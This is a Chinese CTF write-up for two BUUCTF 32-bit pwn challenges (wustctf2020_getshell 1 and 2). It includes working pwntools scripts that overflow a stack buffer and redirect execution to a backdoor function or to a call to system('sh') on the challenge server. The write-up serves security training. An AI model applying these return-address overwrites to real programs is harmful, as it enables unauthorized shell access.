[BUUCTF]PWN——wustctf2020_getshell1/2

wustctf2020_getshell

附件

步骤:

  1. 例行检查,32位程序,开启了NX保护
    在这里插入图片描述
  2. 本地试运行一下程序,看看大概的情况
    在这里插入图片描述
  3. 32位ida载入,习惯性的检索程序里的字符串,发现了后门函数
    shell_addr=0x804851B
    在这里插入图片描述
  4. main函数开始看程序
    在这里插入图片描述
  5. vulnerable函数
    在这里插入图片描述
    buf参数存在溢出漏洞,正好溢出8位,让我们覆盖到ret

exp:

from pwn import*

r=remote('node3.buuoj.cn',29690)

shell_addr=0x804851B

payload='a'*(0x18+4)+p32(shell_addr)

r.sendline(payload)

r.interactive()

在这里插入图片描述

wustctf2020_getshell_2

附件

步骤:

  1. 例行检查,32位程序,开启了nx
    在这里插入图片描述

  2. 本地试运行一下看看大概的情况
    在这里插入图片描述

  3. 32位ida载入,习惯性的检索程序里的字符串,发现调用了system函数,没有现成的system(‘/bin/sh’),但是system函数的地址拿到了
    在这里插入图片描述
    在这里插入图片描述

  4. main函数里的关键函数vulnerable,参数buf可以溢出,
    在这里插入图片描述
    可以溢出0xc字节,但是没法利用plt地址了,因为plt地址需要返回值,可溢出的地址位数不够,所以只能用shell函数里的call system来调用system,call函数不用返回值了,它会自己把下一条指令给压进去

exp:

from pwn import *

context.log_level='debug'
#p=process('./wustctf2020_getshell_2')
p=remote('node3.buuoj.cn',25360)

elf=ELF('wustctf2020_getshell_2')
call_sys=0x8048529
sh_addr = 0x08048670

p.sendline('a'*(0x18+4)+p32(call_sys)+p32(sh_addr))

p.interactive()

在这里插入图片描述

原文地址:https://www.cnblogs.com/xlrp/p/14273662.html